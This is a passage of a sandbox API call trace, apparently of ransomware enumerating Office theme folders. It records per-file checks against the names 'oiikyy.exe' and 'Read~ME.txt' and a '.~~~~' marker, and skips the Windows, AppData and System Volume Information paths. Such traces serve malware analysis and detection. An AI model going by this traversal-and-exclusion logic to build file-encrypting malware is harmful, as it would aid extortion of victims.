	[0078.517] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.517] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.517] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.517] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.517] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.517] GetCurrentThreadId () returned 0x618
	[0078.517] RtlWakeConditionVariable () returned 0x365f48
	[0078.517] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1
	[0078.517] lstrcmpiW (lpString1="REFINED.ELM", lpString2="Windows") returned -1
	[0078.517] lstrcmpW (lpString1="REFINED.ELM", lpString2="oiikyy.exe") returned 1
	[0078.517] StrStrW (lpFirst="REFINED.ELM", lpSrch=".~~~~") returned 0x0
	[0078.518] lstrcmpW (lpString1="REFINED.ELM", lpString2="Read~ME.txt") returned 1
	[0078.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.518] GetCurrentThreadId () returned 0x618
	[0078.518] RtlWakeConditionVariable () returned 0x365f48
	[0078.518] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1
	[0078.518] lstrcmpiW (lpString1="REFINED.INF", lpString2="Windows") returned -1
	[0078.518] lstrcmpW (lpString1="REFINED.INF", lpString2="oiikyy.exe") returned 1
	[0078.518] StrStrW (lpFirst="REFINED.INF", lpSrch=".~~~~") returned 0x0
	[0078.518] lstrcmpW (lpString1="REFINED.INF", lpString2="Read~ME.txt") returned 1
	[0078.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.518] GetCurrentThreadId () returned 0x618
	[0078.518] RtlWakeConditionVariable () returned 0x365f48
	[0078.518] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.518] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.518] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.518] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.518] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5d40
	[0078.518] GetCurrentThreadId () returned 0x618
	[0078.518] RtlWakeConditionVariable () returned 0x365f48
	[0078.518] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.518] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.519] GetCurrentThreadId () returned 0x618
	[0078.519] RtlWakeConditionVariable () returned 0x365f48
	[0078.519] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1
	[0078.519] lstrcmpiW (lpString1="RICEPAPR", lpString2="Windows") returned -1
	[0078.519] lstrcmpW (lpString1="RICEPAPR", lpString2=".") returned 1
	[0078.519] lstrcmpW (lpString1="RICEPAPR", lpString2="..") returned 1
	[0078.519] lstrcmpW (lpString1="RICEPAPR", lpString2="AppData") returned 1
	[0078.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR", lpSrch="AppData") returned 0x0
	[0078.519] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.519] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR", lpString2="C:\\Windows") returned -1
	[0078.519] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.519] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR", lpString2="C:\\System Volume Information") returned -1
	[0078.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.519] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.534] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.534] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.534] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.534] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.534] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.534] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.534] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.534] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.534] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.534] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.534] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.534] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.535] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.535] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.535] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.535] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.535] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f59a8
	[0078.535] GetCurrentThreadId () returned 0x618
	[0078.535] RtlWakeConditionVariable () returned 0x365f48
	[0078.535] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1
	[0078.535] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="Windows") returned -1
	[0078.535] lstrcmpW (lpString1="RICEPAPR.ELM", lpString2="oiikyy.exe") returned 1
	[0078.535] StrStrW (lpFirst="RICEPAPR.ELM", lpSrch=".~~~~") returned 0x0
	[0078.535] lstrcmpW (lpString1="RICEPAPR.ELM", lpString2="Read~ME.txt") returned 1
	[0078.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f59a8
	[0078.535] GetCurrentThreadId () returned 0x618
	[0078.535] RtlWakeConditionVariable () returned 0x365f48
	[0078.535] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1
	[0078.535] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="Windows") returned -1
	[0078.535] lstrcmpW (lpString1="RICEPAPR.INF", lpString2="oiikyy.exe") returned 1
	[0078.535] StrStrW (lpFirst="RICEPAPR.INF", lpSrch=".~~~~") returned 0x0
	[0078.535] lstrcmpW (lpString1="RICEPAPR.INF", lpString2="Read~ME.txt") returned 1
	[0078.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f59a8
	[0078.535] GetCurrentThreadId () returned 0x618
	[0078.535] RtlWakeConditionVariable () returned 0x365f48
	[0078.536] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.536] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.536] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.536] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.536] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f59a8
	[0078.536] GetCurrentThreadId () returned 0x618
	[0078.536] RtlWakeConditionVariable () returned 0x365f48
	[0078.536] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.536] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f59a8
	[0078.537] GetCurrentThreadId () returned 0x618
	[0078.537] RtlWakeConditionVariable () returned 0x365f48
	[0078.537] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1
	[0078.537] lstrcmpiW (lpString1="RIPPLE", lpString2="Windows") returned -1
	[0078.537] lstrcmpW (lpString1="RIPPLE", lpString2=".") returned 1
	[0078.537] lstrcmpW (lpString1="RIPPLE", lpString2="..") returned 1
	[0078.537] lstrcmpW (lpString1="RIPPLE", lpString2="AppData") returned 1
	[0078.537] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE", lpSrch="AppData") returned 0x0
	[0078.537] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.537] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE", lpString2="C:\\Windows") returned -1
	[0078.537] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.537] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE", lpString2="C:\\System Volume Information") returned -1
	[0078.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.537] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.538] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.538] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.538] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.538] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.538] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.538] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.538] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.538] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.538] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.538] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.538] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.538] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.538] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.538] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.538] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.538] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.538] GetCurrentThreadId () returned 0x618
	[0078.538] RtlWakeConditionVariable () returned 0x365f48
	[0078.538] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1
	[0078.538] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="Windows") returned -1
	[0078.538] lstrcmpW (lpString1="RIPPLE.ELM", lpString2="oiikyy.exe") returned 1
	[0078.538] StrStrW (lpFirst="RIPPLE.ELM", lpSrch=".~~~~") returned 0x0
	[0078.538] lstrcmpW (lpString1="RIPPLE.ELM", lpString2="Read~ME.txt") returned 1
	[0078.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.538] GetCurrentThreadId () returned 0x618
	[0078.539] RtlWakeConditionVariable () returned 0x365f48
	[0078.539] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1
	[0078.539] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="Windows") returned -1
	[0078.539] lstrcmpW (lpString1="RIPPLE.INF", lpString2="oiikyy.exe") returned 1
	[0078.539] StrStrW (lpFirst="RIPPLE.INF", lpSrch=".~~~~") returned 0x0
	[0078.539] lstrcmpW (lpString1="RIPPLE.INF", lpString2="Read~ME.txt") returned 1
	[0078.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.539] GetCurrentThreadId () returned 0x618
	[0078.539] RtlWakeConditionVariable () returned 0x365f48
	[0078.539] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.539] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.539] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.539] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.539] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.539] GetCurrentThreadId () returned 0x618
	[0078.539] RtlWakeConditionVariable () returned 0x365f48
	[0078.539] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.539] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.540] GetCurrentThreadId () returned 0x618
	[0078.540] RtlWakeConditionVariable () returned 0x365f48
	[0078.540] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1
	[0078.540] lstrcmpiW (lpString1="RMNSQUE", lpString2="Windows") returned -1
	[0078.540] lstrcmpW (lpString1="RMNSQUE", lpString2=".") returned 1
	[0078.540] lstrcmpW (lpString1="RMNSQUE", lpString2="..") returned 1
	[0078.540] lstrcmpW (lpString1="RMNSQUE", lpString2="AppData") returned 1
	[0078.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE", lpSrch="AppData") returned 0x0
	[0078.540] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.540] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE", lpString2="C:\\Windows") returned -1
	[0078.540] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.540] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE", lpString2="C:\\System Volume Information") returned -1
	[0078.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.547] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.547] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.547] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.547] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.547] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.547] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.548] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.548] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.548] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.548] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.548] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.548] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
